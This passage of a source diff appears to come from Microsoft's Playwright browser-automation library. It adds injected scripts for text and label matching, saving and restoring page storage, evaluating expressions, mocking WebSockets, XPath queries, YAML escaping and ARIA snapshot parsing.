if ((root instanceof HTMLInputElement) && (root.type === 'submit' || root.type === 'button')) {
value = { full: root.value, normalized: normalizeWhiteSpace(root.value), immediate: [root.value] };
} else {
for (let child = root.firstChild; child; child = child.nextSibling) {
if (child.nodeType === Node.TEXT_NODE) {
value.full += child.nodeValue || '';
currentImmediate += child.nodeValue || '';
} else if (child.nodeType === Node.COMMENT_NODE) {
continue;
} else {
if (currentImmediate)
value.immediate.push(currentImmediate);
currentImmediate = '';
if (child.nodeType === Node.ELEMENT_NODE)
value.full += elementText(cache, child as Element).full;
}
}
if (currentImmediate)
value.immediate.push(currentImmediate);
if ((root as Element).shadowRoot)
value.full += elementText(cache, (root as Element).shadowRoot!).full;
if (value.full)
value.normalized = normalizeWhiteSpace(value.full);
}
}
cache.set(root, value);
}
return value;
}
export function elementMatchesText(cache: Map<Element | ShadowRoot, ElementText>, element: Element, matcher: TextMatcher): 'none' | 'self' | 'selfAndChildren' {
if (shouldSkipForTextMatching(element))
return 'none';
if (!matcher(elementText(cache, element)))
return 'none';
for (let child = element.firstChild; child; child = child.nextSibling) {
if (child.nodeType === Node.ELEMENT_NODE && matcher(elementText(cache, child as Element)))
return 'selfAndChildren';
}
if (element.shadowRoot && matcher(elementText(cache, element.shadowRoot)))
return 'selfAndChildren';
return 'self';
}
export function getElementLabels(textCache: Map<Element | ShadowRoot, ElementText>, element: Element): ElementText[] {
const labels = getAriaLabelledByElements(element);
if (labels)
return labels.map(label => elementText(textCache, label));
const ariaLabel = element.getAttribute('aria-label');
if (ariaLabel !== null && !!ariaLabel.trim())
return [{ full: ariaLabel, normalized: normalizeWhiteSpace(ariaLabel), immediate: [ariaLabel] }];
// https://html.spec.whatwg.org/multipage/forms.html#category-label
const isNonHiddenInput = element.nodeName === 'INPUT' && (element as HTMLInputElement).type !== 'hidden';
if (['BUTTON', 'METER', 'OUTPUT', 'PROGRESS', 'SELECT', 'TEXTAREA'].includes(element.nodeName) || isNonHiddenInput) {
const labels = (element as HTMLInputElement).labels;
if (labels)
return [...labels].map(label => elementText(textCache, label));
}
return [];
}
@@ -0,0 +1,210 @@
/**
* Copyright (c) Microsoft Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
import { parseEvaluationResultValue, serializeAsCallArgument } from '@isomorphic/utilityScriptSerializers';
import type * as channels from '@protocol/channels';
export type SerializedStorage = Omit<channels.OriginStorage, 'origin'>;
export class StorageScript {
private _isFirefox: boolean;
private _global;
constructor(isFirefox: boolean) {
this._isFirefox = isFirefox;
// eslint-disable-next-line no-restricted-globals
this._global = globalThis;
}
private _idbRequestToPromise<T extends IDBOpenDBRequest | IDBRequest>(request: T) {
return new Promise<T['result']>((resolve, reject) => {
request.addEventListener('success', () => resolve(request.result));
request.addEventListener('error', () => reject(request.error));
});
}
private _isPlainObject(v: any) {
const ctor = v?.constructor;
if (this._isFirefox) {
const constructorImpl = ctor?.toString() as string | undefined;
if (constructorImpl?.startsWith('function Object() {') && constructorImpl?.includes('[native code]'))
return true;
}
return ctor === Object;
}
private _trySerialize(value: any): { trivial?: any, encoded?: any } {
let trivial = true;
const encoded = serializeAsCallArgument(value, v => {
const isTrivial = (
this._isPlainObject(v)
|| Array.isArray(v)
|| typeof v === 'string'
|| typeof v === 'number'
|| typeof v === 'boolean'
|| Object.is(v, null)
);
if (!isTrivial)
trivial = false;
return { fallThrough: v };
});
if (trivial)
return { trivial: value };
return { encoded };
}
private async _collectDB(dbInfo: IDBDatabaseInfo) {
if (!dbInfo.name)
throw new Error('Database name is empty');
if (!dbInfo.version)
throw new Error('Database version is unset');
const db = await this._idbRequestToPromise(indexedDB.open(dbInfo.name));
if (db.objectStoreNames.length === 0)
return { name: dbInfo.name, version: dbInfo.version, stores: [] };
const transaction = db.transaction(db.objectStoreNames, 'readonly');
const stores = await Promise.all([...db.objectStoreNames].map(async storeName => {
const objectStore = transaction.objectStore(storeName);
const keys = await this._idbRequestToPromise(objectStore.getAllKeys());
const records = await Promise.all(keys.map(async key => {
const record: channels.IndexedDBDatabase['stores'][0]['records'][0] = {};
if (objectStore.keyPath === null) {
const { encoded, trivial } = this._trySerialize(key);
if (trivial)
record.key = trivial;
else
record.keyEncoded = encoded;
}
const value = await this._idbRequestToPromise(objectStore.get(key));
const { encoded, trivial } = this._trySerialize(value);
if (trivial)
record.value = trivial;
else
record.valueEncoded = encoded;
return record;
}));
const indexes = [...objectStore.indexNames].map(indexName => {
const index = objectStore.index(indexName);
return {
name: index.name,
keyPath: typeof index.keyPath === 'string' ? index.keyPath : undefined,
keyPathArray: Array.isArray(index.keyPath) ? index.keyPath : undefined,
multiEntry: index.multiEntry,
unique: index.unique,
};
});
return {
name: storeName,
records: records,
indexes,
autoIncrement: objectStore.autoIncrement,
keyPath: typeof objectStore.keyPath === 'string' ? objectStore.keyPath : undefined,
keyPathArray: Array.isArray(objectStore.keyPath) ? objectStore.keyPath : undefined,
};
}));
return {
name: dbInfo.name,
version: dbInfo.version,
stores,
};
}
async collect(recordIndexedDB: boolean): Promise<SerializedStorage> {
const localStorage = Object.keys(this._global.localStorage).map(name => ({ name, value: this._global.localStorage.getItem(name)! }));
if (!recordIndexedDB)
return { localStorage };
try {
const databases = await this._global.indexedDB.databases();
const indexedDB = await Promise.all(databases.map(db => this._collectDB(db)));
return { localStorage, indexedDB };
} catch (e) {
throw new Error('Unable to serialize IndexedDB: ' + e.message);
}
}
private async _restoreDB(dbInfo: channels.IndexedDBDatabase) {
const openRequest = this._global.indexedDB.open(dbInfo.name, dbInfo.version);
openRequest.addEventListener('upgradeneeded', () => {
const db = openRequest.result;
for (const store of dbInfo.stores) {
const objectStore = db.createObjectStore(store.name, { autoIncrement: store.autoIncrement, keyPath: store.keyPathArray ?? store.keyPath });
for (const index of store.indexes)
objectStore.createIndex(index.name, index.keyPathArray ?? index.keyPath!, { unique: index.unique, multiEntry: index.multiEntry });
}
});
// after `upgradeneeded` finishes, `success` event is fired.
const db = await this._idbRequestToPromise(openRequest);
if (db.objectStoreNames.length === 0)
return;
const transaction = db.transaction(db.objectStoreNames, 'readwrite');
await Promise.all(dbInfo.stores.map(async store => {
const objectStore = transaction.objectStore(store.name);
await Promise.all(store.records.map(async record => {
await this._idbRequestToPromise(
objectStore.add(
record.value ?? parseEvaluationResultValue(record.valueEncoded),
record.key ?? parseEvaluationResultValue(record.keyEncoded),
)
);
}));
}));
}
async restore(originState: channels.SetOriginStorage | undefined) {
// Clean Service Workers.
const registrations = this._global.navigator.serviceWorker ? await this._global.navigator.serviceWorker.getRegistrations() : [];
await Promise.all(registrations.map(async r => {
// Heuristic for service workers that stalled during main script fetch or importScripts:
// Waiting for them to finish unregistering takes ages so we do not await.
// However, they will unregister immediately after fetch finishes and should not affect next page load.
// Unfortunately, loading next page in Chromium still takes 5 seconds waiting for
// some operation on this bogus service worker to finish.
if (!r.installing && !r.waiting && !r.active)
r.unregister().catch(() => {});
else
await r.unregister().catch(() => {});
}));
try {
for (const db of await this._global.indexedDB.databases?.() || []) {
// Do not wait for the callback - it is called on timer in Chromium (slow).
if (db.name)
this._global.indexedDB.deleteDatabase(db.name!);
}
await Promise.all((originState?.indexedDB ?? []).map(dbInfo => this._restoreDB(dbInfo)));
} catch (e) {
throw new Error('Unable to restore IndexedDB: ' + e.message);
}
this._global.sessionStorage.clear();
this._global.localStorage.clear();
for (const { name, value } of (originState?.localStorage || []))
this._global.localStorage.setItem(name, value);
}
}
@@ -0,0 +1,114 @@
/**
* Copyright (c) Microsoft Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
import { parseEvaluationResultValue, serializeAsCallArgument } from '@isomorphic/utilityScriptSerializers';
// Keep in sync with eslint.config.mjs
export type Builtins = {
setTimeout: Window['setTimeout'],
clearTimeout: Window['clearTimeout'],
setInterval: Window['setInterval'],
clearInterval: Window['clearInterval'],
requestAnimationFrame: Window['requestAnimationFrame'],
cancelAnimationFrame: Window['cancelAnimationFrame'],
requestIdleCallback: Window['requestIdleCallback'],
cancelIdleCallback: Window['cancelIdleCallback'],
performance: Window['performance'],
Intl: typeof window['Intl'],
Date: typeof window['Date'],
AbortSignal: typeof window['AbortSignal'],
};
export class UtilityScript {
readonly global: typeof globalThis;
// Builtins protect injected code from clock emulation.
readonly builtins: Builtins;
readonly isUnderTest: boolean;
constructor(global: typeof globalThis, isUnderTest: boolean) {
this.global = global;
this.isUnderTest = isUnderTest;
if ((global as any).__pwClock) {
this.builtins = (global as any).__pwClock.builtins;
} else {
this.builtins = {
setTimeout: global.setTimeout?.bind(global),
clearTimeout: global.clearTimeout?.bind(global),
setInterval: global.setInterval?.bind(global),
clearInterval: global.clearInterval?.bind(global),
requestAnimationFrame: global.requestAnimationFrame?.bind(global),
cancelAnimationFrame: global.cancelAnimationFrame?.bind(global),
requestIdleCallback: global.requestIdleCallback?.bind(global),
cancelIdleCallback: global.cancelIdleCallback?.bind(global),
performance: global.performance,
Intl: global.Intl,
Date: global.Date,
AbortSignal: global.AbortSignal,
} satisfies Builtins;
}
if (this.isUnderTest)
(global as any).builtins = this.builtins;
}
evaluate(isFunction: boolean | undefined, returnByValue: boolean, expression: string, argCount: number, ...argsAndHandles: any[]) {
const args = argsAndHandles.slice(0, argCount);
const handles = argsAndHandles.slice(argCount);
const parameters = [];
for (let i = 0; i < args.length; i++)
parameters[i] = parseEvaluationResultValue(args[i], handles);
let result = this.global.eval(expression);
if (isFunction === true) {
result = result(...parameters);
} else if (isFunction === false) {
result = result;
} else {
// auto detect.
if (typeof result === 'function')
result = result(...parameters);
}
return returnByValue ? this._promiseAwareJsonValueNoThrow(result) : result;
}
jsonValue(returnByValue: true, value: any) {
// Special handling of undefined to work-around multi-step returnByValue handling in WebKit.
if (value === undefined)
return undefined;
return serializeAsCallArgument(value, (value: any) => ({ fallThrough: value }));
}
private _promiseAwareJsonValueNoThrow(value: any) {
const safeJson = (value: any) => {
try {
return this.jsonValue(true, value);
} catch (e) {
return undefined;
}
};
if (value && typeof value === 'object' && typeof value.then === 'function') {
return (async () => {
// By using async function we ensure that return value is a native Promise,
// and not some overridden Promise in the page.
// This makes Firefox and WebKit debugging protocols recognize it as a Promise,
// properly await and return the value.
const promiseValue = await value;
return safeJson(promiseValue);
})();
}
return safeJson(value);
}
}
@@ -0,0 +1,363 @@
/**
* Copyright (c) Microsoft Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
export type WebSocketMessage = string | ArrayBufferLike | Blob | ArrayBufferView;
export type WSData = { data: string, isBase64: boolean };
export type OnCreatePayload = { type: 'onCreate', id: string, url: string };
export type OnMessageFromPagePayload = { type: 'onMessageFromPage', id: string, data: WSData };
export type OnClosePagePayload = { type: 'onClosePage', id: string, code: number | undefined, reason: string | undefined, wasClean: boolean };
export type OnMessageFromServerPayload = { type: 'onMessageFromServer', id: string, data: WSData };
export type OnCloseServerPayload = { type: 'onCloseServer', id: string, code: number | undefined, reason: string | undefined, wasClean: boolean };
export type BindingPayload = OnCreatePayload | OnMessageFromPagePayload | OnMessageFromServerPayload | OnClosePagePayload | OnCloseServerPayload;
export type ConnectRequest = { type: 'connect', id: string };
export type PassthroughRequest = { type: 'passthrough', id: string };
export type EnsureOpenedRequest = { type: 'ensureOpened', id: string };
export type SendToPageRequest = { type: 'sendToPage', id: string, data: WSData };
export type SendToServerRequest = { type: 'sendToServer', id: string, data: WSData };
export type ClosePageRequest = { type: 'closePage', id: string, code: number | undefined, reason: string | undefined, wasClean: boolean };
export type CloseServerRequest = { type: 'closeServer', id: string, code: number | undefined, reason: string | undefined, wasClean: boolean };
export type APIRequest = ConnectRequest | PassthroughRequest | EnsureOpenedRequest | SendToPageRequest | SendToServerRequest | ClosePageRequest | CloseServerRequest;
type GlobalThis = typeof globalThis;
export function inject(globalThis: GlobalThis) {
if ((globalThis as any).__pwWebSocketDispatch)
return;
function generateId() {
const bytes = new Uint8Array(32);
globalThis.crypto.getRandomValues(bytes);
const hex = '0123456789abcdef';
return [...bytes].map(value => {
const high = Math.floor(value / 16);
const low = value % 16;
return hex[high] + hex[low];
}).join('');
}
function bufferToData(b: Uint8Array): WSData {
let s = '';
for (let i = 0; i < b.length; i++)
s += String.fromCharCode(b[i]);
return { data: globalThis.btoa(s), isBase64: true };
}
function stringToBuffer(s: string): ArrayBuffer {
s = globalThis.atob(s);
const b = new Uint8Array(s.length);
for (let i = 0; i < s.length; i++)
b[i] = s.charCodeAt(i);
return b.buffer;
}
// Note: this function tries to be synchronous when it can to preserve the ability to send
// multiple messages synchronously in the same order and then synchronously close.
function messageToData(message: WebSocketMessage, cb: (data: WSData) => any) {
if (message instanceof globalThis.Blob)
return message.arrayBuffer().then(buffer => cb(bufferToData(new Uint8Array(buffer))));
if (typeof message === 'string')
return cb({ data: message, isBase64: false });
if (ArrayBuffer.isView(message))
return cb(bufferToData(new Uint8Array(message.buffer, message.byteOffset, message.byteLength)));
return cb(bufferToData(new Uint8Array(message)));
}
function dataToMessage(data: WSData, binaryType: 'blob' | 'arraybuffer'): WebSocketMessage {
if (!data.isBase64)
return data.data;
const buffer = stringToBuffer(data.data);
return binaryType === 'arraybuffer' ? buffer : new Blob([buffer]);
}
const binding = (globalThis as any).__pwWebSocketBinding as (message: BindingPayload) => void;
const NativeWebSocket: typeof WebSocket = globalThis.WebSocket;
const idToWebSocket = new Map<string, WebSocketMock>();
(globalThis as any).__pwWebSocketDispatch = (request: APIRequest) => {
const ws = idToWebSocket.get(request.id);
if (!ws)
return;
if (request.type === 'connect')
ws._apiConnect();
if (request.type === 'passthrough')
ws._apiPassThrough();
if (request.type === 'ensureOpened')
ws._apiEnsureOpened();
if (request.type === 'sendToPage')
ws._apiSendToPage(dataToMessage(request.data, ws.binaryType));
if (request.type === 'closePage')
ws._apiClosePage(request.code, request.reason, request.wasClean);
if (request.type === 'sendToServer')
ws._apiSendToServer(dataToMessage(request.data, ws.binaryType));
if (request.type === 'closeServer')
ws._apiCloseServer(request.code, request.reason, request.wasClean);
};
class WebSocketMock extends EventTarget {
static readonly CONNECTING: 0 = 0; // WebSocket.CONNECTING
static readonly OPEN: 1 = 1; // WebSocket.OPEN
static readonly CLOSING: 2 = 2; // WebSocket.CLOSING
static readonly CLOSED: 3 = 3; // WebSocket.CLOSED
CONNECTING: 0 = 0; // WebSocket.CONNECTING
OPEN: 1 = 1; // WebSocket.OPEN
CLOSING: 2 = 2; // WebSocket.CLOSING
CLOSED: 3 = 3; // WebSocket.CLOSED
private _oncloseListener: WebSocket['onclose'] = null;
private _onerrorListener: WebSocket['onerror'] = null;
private _onmessageListener: WebSocket['onmessage'] = null;
private _onopenListener: WebSocket['onopen'] = null;
bufferedAmount: number = 0;
extensions: string = '';
protocol: string = '';
readyState: number = 0;
readonly url: string;
private _id: string;
private _origin: string = '';
private _protocols?: string | string[];
private _ws?: WebSocket;
private _passthrough = false;
private _wsBufferedMessages: WebSocketMessage[] = [];
private _binaryType: BinaryType = 'blob';
constructor(url: string | URL, protocols?: string | string[]) {
super();
// https://github.com/whatwg/websockets/issues/20
this.url = new URL(url, globalThis.window.document.baseURI).href.replace(/^http/, 'ws');
this._origin = URL.parse(this.url)?.origin ?? '';
this._protocols = protocols;
this._id = generateId();
idToWebSocket.set(this._id, this);
binding({ type: 'onCreate', id: this._id, url: this.url });
}
// --- native WebSocket implementation ---
get binaryType() {
return this._binaryType;
}
set binaryType(type) {
this._binaryType = type;
if (this._ws)
this._ws.binaryType = type;
}
get onclose() {
return this._oncloseListener;
}
set onclose(listener) {
if (this._oncloseListener)
this.removeEventListener('close', this._oncloseListener as any);
this._oncloseListener = listener;
if (this._oncloseListener)
this.addEventListener('close', this._oncloseListener as any);
}
get onerror() {
return this._onerrorListener;
}
set onerror(listener) {
if (this._onerrorListener)
this.removeEventListener('error', this._onerrorListener);
this._onerrorListener = listener;
if (this._onerrorListener)
this.addEventListener('error', this._onerrorListener);
}
get onopen() {
return this._onopenListener;
}
set onopen(listener) {
if (this._onopenListener)
this.removeEventListener('open', this._onopenListener);
this._onopenListener = listener;
if (this._onopenListener)
this.addEventListener('open', this._onopenListener);
}
get onmessage() {
return this._onmessageListener;
}
set onmessage(listener) {
if (this._onmessageListener)
this.removeEventListener('message', this._onmessageListener as any);
this._onmessageListener = listener;
if (this._onmessageListener)
this.addEventListener('message', this._onmessageListener as any);
}
send(message: WebSocketMessage): void {
if (this.readyState === WebSocketMock.CONNECTING)
throw new DOMException(`Failed to execute 'send' on 'WebSocket': Still in CONNECTING state.`);
if (this.readyState !== WebSocketMock.OPEN)
throw new DOMException(`WebSocket is already in CLOSING or CLOSED state.`);
if (this._passthrough) {
if (this._ws)
this._apiSendToServer(message);
} else {
messageToData(message, data => binding({ type: 'onMessageFromPage', id: this._id, data }));
}
}
close(code?: number, reason?: string): void {
if (code !== undefined && code !== 1000 && (code < 3000 || code > 4999))
throw new DOMException(`Failed to execute 'close' on 'WebSocket': The close code must be either 1000, or between 3000 and 4999. ${code} is neither.`);
if (this.readyState === WebSocketMock.OPEN || this.readyState === WebSocketMock.CONNECTING)
this.readyState = WebSocketMock.CLOSING;
if (this._passthrough)
this._apiCloseServer(code, reason, true);
else
binding({ type: 'onClosePage', id: this._id, code, reason, wasClean: true });
}
// --- methods called from the routing API ---
_apiEnsureOpened() {
// This is called at the end of the route handler. If we did not connect to the server,
// assume that websocket will be fully mocked. In this case, pretend that server
// connection is established right away.
if (!this._ws)
this._ensureOpened();
}
_apiSendToPage(message: WebSocketMessage) {
// Calling "sendToPage()" from the route handler. Allow this for easier testing.
this._ensureOpened();
if (this.readyState !== WebSocketMock.OPEN)
throw new DOMException(`WebSocket is already in CLOSING or CLOSED state.`);
this.dispatchEvent(new MessageEvent('message', { data: message, origin: this._origin, cancelable: true }));
}
_apiSendToServer(message: WebSocketMessage) {
if (!this._ws)
throw new Error('Cannot send a message before connecting to the server');
if (this._ws.readyState === WebSocketMock.CONNECTING)
this._wsBufferedMessages.push(message);
else
this._ws.send(message);
}
_apiConnect() {
if (this._ws)
throw new Error('Can only connect to the server once');
this._ws = new NativeWebSocket(this.url, this._protocols);
this._ws.binaryType = this._binaryType;
this._ws.onopen = () => {
for (const message of this._wsBufferedMessages)
this._ws!.send(message);
this._wsBufferedMessages = [];
this._ensureOpened();
};
this._ws.onclose = event => {
this._onWSClose(event.code, event.reason, event.wasClean);
};
this._ws.onmessage = event => {
if (this._passthrough)
this._apiSendToPage(event.data);
else
messageToData(event.data, data => binding({ type: 'onMessageFromServer', id: this._id, data }));
};
this._ws.onerror = () => {
// We do not expose errors in the API, so short-curcuit the error event.
const event = new Event('error', { cancelable: true });
this.dispatchEvent(event);
};
}
// This method connects to the server, and passes all messages through,
// as if WebSocketMock was not engaged.
_apiPassThrough() {
this._passthrough = true;
this._apiConnect();
}
_apiCloseServer(code: number | undefined, reason: string | undefined, wasClean: boolean) {
if (!this._ws) {
// Short-curcuit when there is no server.
this._onWSClose(code, reason, wasClean);
return;
}
if (this._ws.readyState === WebSocketMock.CONNECTING || this._ws.readyState === WebSocketMock.OPEN)
this._ws.close(code, reason);
}
_apiClosePage(code: number | undefined, reason: string | undefined, wasClean: boolean) {
if (this.readyState === WebSocketMock.CLOSED)
return;
this.readyState = WebSocketMock.CLOSED;
this.dispatchEvent(new CloseEvent('close', { code, reason, wasClean, cancelable: true }));
this._maybeCleanup();
if (this._passthrough)
this._apiCloseServer(code, reason, wasClean);
else
binding({ type: 'onClosePage', id: this._id, code, reason, wasClean });
}
// --- internals ---
_ensureOpened() {
if (this.readyState !== WebSocketMock.CONNECTING)
return;
this.extensions = this._ws?.extensions || '';
if (this._ws)
this.protocol = this._ws.protocol;
else if (Array.isArray(this._protocols))
this.protocol = this._protocols[0] || '';
else
this.protocol = this._protocols || '';
this.readyState = WebSocketMock.OPEN;
this.dispatchEvent(new Event('open', { cancelable: true }));
}
private _onWSClose(code: number | undefined, reason: string | undefined, wasClean: boolean) {
if (this._passthrough)
this._apiClosePage(code, reason, wasClean);
else
binding({ type: 'onCloseServer', id: this._id, code, reason, wasClean });
if (this._ws) {
this._ws.onopen = null;
this._ws.onclose = null;
this._ws.onmessage = null;
this._ws.onerror = null;
this._ws = undefined;
this._wsBufferedMessages = [];
}
this._maybeCleanup();
}
private _maybeCleanup() {
if (this.readyState === WebSocketMock.CLOSED && !this._ws)
idToWebSocket.delete(this._id);
}
}
globalThis.WebSocket = class WebSocket extends WebSocketMock {};
}
@@ -0,0 +1,34 @@
/**
* Copyright (c) Microsoft Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
import type { SelectorEngine, SelectorRoot } from './selectorEngine';
export const XPathEngine: SelectorEngine = {
queryAll(root: SelectorRoot, selector: string): Element[] {
if (selector.startsWith('/') && root.nodeType !== Node.DOCUMENT_NODE)
selector = '.' + selector;
const result: Element[] = [];
const document = root.ownerDocument || root;
if (!document)
return result;
const it = document.evaluate(selector, root, null, XPathResult.ORDERED_NODE_ITERATOR_TYPE);
for (let node = it.iterateNext(); node; node = it.iterateNext()) {
if (node.nodeType === Node.ELEMENT_NODE)
result.push(node as Element);
}
return result;
}
};
@@ -0,0 +1,94 @@
/**
* Copyright (c) Microsoft Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
export function yamlEscapeKeyIfNeeded(str: string): string {
if (!yamlStringNeedsQuotes(str))
return str;
return `'` + str.replace(/'/g, `''`) + `'`;
}
export function yamlEscapeValueIfNeeded(str: string): string {
if (!yamlStringNeedsQuotes(str))
return str;
return '"' + str.replace(/[\\"\x00-\x1f\x7f-\x9f]/g, c => {
switch (c) {
case '\\':
return '\\\\';
case '"':
return '\\"';
case '\b':
return '\\b';
case '\f':
return '\\f';
case '\n':
return '\\n';
case '\r':
return '\\r';
case '\t':
return '\\t';
default:
const code = c.charCodeAt(0);
return '\\x' + code.toString(16).padStart(2, '0');
}
}) + '"';
}
function yamlStringNeedsQuotes(str: string): boolean {
if (str.length === 0)
return true;
// Strings with leading or trailing whitespace need quotes
if (/^\s|\s$/.test(str))
return true;
// Strings containing control characters need quotes
if (/[\x00-\x08\x0b\x0c\x0e-\x1f\x7f-\x9f]/.test(str))
return true;
// Strings starting with '-' need quotes
if (/^-/.test(str))
return true;
// Strings containing ':' or '\n' followed by a space or at the end need quotes
if (/[\n:](\s|$)/.test(str))
return true;
// Strings containing '#' preceded by a space need quotes (comment indicator)
if (/\s#/.test(str))
return true;
// Strings that contain line breaks need quotes
if (/[\n\r]/.test(str))
return true;
// Strings starting with indicator characters or quotes need quotes
if (/^[&*\],?!>|@"'#%]/.test(str))
return true;
// Strings containing special characters that could cause ambiguity
if (/[{}`]/.test(str))
return true;
// YAML array starts with [
if (/^\[/.test(str))
return true;
// Non-string types recognized by YAML
if (!isNaN(Number(str)) || ['y', 'n', 'yes', 'no', 'true', 'false', 'on', 'off', 'null'].includes(str.toLowerCase()))
return true;
return false;
}
@@ -0,0 +1,579 @@
/**
* Copyright (c) Microsoft Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
// https://www.w3.org/TR/wai-aria-1.2/#role_definitions
export type AriaRole = 'alert' | 'alertdialog' | 'application' | 'article' | 'banner' | 'blockquote' | 'button' | 'caption' | 'cell' | 'checkbox' | 'code' | 'columnheader' | 'combobox' |
'complementary' | 'contentinfo' | 'definition' | 'deletion' | 'dialog' | 'directory' | 'document' | 'emphasis' | 'feed' | 'figure' | 'form' | 'generic' | 'grid' |
'gridcell' | 'group' | 'heading' | 'img' | 'insertion' | 'link' | 'list' | 'listbox' | 'listitem' | 'log' | 'main' | 'mark' | 'marquee' | 'math' | 'meter' | 'menu' |
'menubar' | 'menuitem' | 'menuitemcheckbox' | 'menuitemradio' | 'navigation' | 'none' | 'note' | 'option' | 'paragraph' | 'presentation' | 'progressbar' | 'radio' | 'radiogroup' |
'region' | 'row' | 'rowgroup' | 'rowheader' | 'scrollbar' | 'search' | 'searchbox' | 'separator' | 'slider' |
'spinbutton' | 'status' | 'strong' | 'subscript' | 'superscript' | 'switch' | 'tab' | 'table' | 'tablist' | 'tabpanel' | 'term' | 'textbox' | 'time' | 'timer' |
'toolbar' | 'tooltip' | 'tree' | 'treegrid' | 'treeitem';
// Note: please keep in sync with ariaPropsEqual() below.
export type AriaProps = {
checked?: boolean | 'mixed';
disabled?: boolean;
expanded?: boolean;
active?: boolean;
level?: number;
pressed?: boolean | 'mixed';
selected?: boolean;
};
export type AriaBox = {
visible: boolean;
inline: boolean;
cursor?: string;
};
// Note: please keep in sync with ariaNodesEqual() below.
export type AriaNode = AriaProps & {
role: AriaRole | 'fragment' | 'iframe';
name: string;
ref?: string;
children: (AriaNode | string)[];
box: AriaBox;
receivesPointerEvents: boolean;
props: Record<string, string>;
};
export function ariaNodesEqual(a: AriaNode, b: AriaNode): boolean {
if (a.role !== b.role || a.name !== b.name)
return false;
if (!ariaPropsEqual(a, b) || hasPointerCursor(a) !== hasPointerCursor(b))
return false;
const aKeys = Object.keys(a.props);
const bKeys = Object.keys(b.props);
return aKeys.length === bKeys.length && aKeys.every(k => a.props[k] === b.props[k]);
}
export function hasPointerCursor(ariaNode: AriaNode): boolean {
return ariaNode.box.cursor === 'pointer';
}
function ariaPropsEqual(a: AriaProps, b: AriaProps): boolean {
return a.active === b.active && a.checked === b.checked && a.disabled === b.disabled && a.expanded === b.expanded && a.selected === b.selected && a.level === b.level && a.pressed === b.pressed;
}
// We pass parsed template between worlds using JSON, make it easy.
export type AriaRegex = { pattern: string };
// We can't tell apart pattern and text, so we pass both.
export type AriaTextValue = {
raw: string;
normalized: string;
};
export type AriaTemplateTextNode = {
kind: 'text';
text: AriaTextValue;
};
export type AriaTemplateRoleNode = AriaProps & {
kind: 'role';
role: AriaRole | 'fragment';
name?: AriaRegex | string;
children?: AriaTemplateNode[];
props?: Record<string, AriaTextValue>;
containerMode?: 'contain' | 'equal' | 'deep-equal';
};
export type AriaTemplateNode = AriaTemplateRoleNode | AriaTemplateTextNode;
import type * as yamlTypes from 'yaml';
type YamlLibrary = {
parseDocument: typeof yamlTypes.parseDocument;
Scalar: typeof yamlTypes.Scalar;
YAMLMap: typeof yamlTypes.YAMLMap;
YAMLSeq: typeof yamlTypes.YAMLSeq;
LineCounter: typeof yamlTypes.LineCounter;
};
type ParsedYamlPosition = { line: number; col: number; };
type ParsingOptions = yamlTypes.ParseOptions;
export type ParsedYamlError = {
message: string;
range: [ParsedYamlPosition, ParsedYamlPosition];
};
export function parseAriaSnapshotUnsafe(yaml: YamlLibrary, text: string, options: ParsingOptions = {}): AriaTemplateNode {
const result = parseAriaSnapshot(yaml, text, options);
if (result.errors.length)
throw new Error(result.errors[0].message);
return result.fragment;
}
export function parseAriaSnapshot(yaml: YamlLibrary, text: string, options: ParsingOptions = {}): { fragment: AriaTemplateNode, errors: ParsedYamlError[] } {
const lineCounter = new yaml.LineCounter();
const parseOptions: ParsingOptions = {
keepSourceTokens: true,
lineCounter,
...options,
};
const yamlDoc = yaml.parseDocument(text, parseOptions);
const errors: ParsedYamlError[] = [];
const convertRange = (range: [number, number] | yamlTypes.Range): [ParsedYamlPosition, ParsedYamlPosition] => {
return [lineCounter.linePos(range[0]), lineCounter.linePos(range[1])];
};
const addError = (error: yamlTypes.YAMLError) => {
errors.push({
message: error.message,
range: [lineCounter.linePos(error.pos[0]), lineCounter.linePos(error.pos[1])],
});
};
const convertSeq = (container: AriaTemplateRoleNode, seq: yamlTypes.YAMLSeq) => {
for (const item of seq.items) {
const itemIsString = item instanceof yaml.Scalar && typeof item.value === 'string';
if (itemIsString) {
const childNode = KeyParser.parse(item, parseOptions, errors);
if (childNode) {
container.children = container.children || [];
container.children.push(childNode);
}
continue;
}
const itemIsMap = item instanceof yaml.YAMLMap;
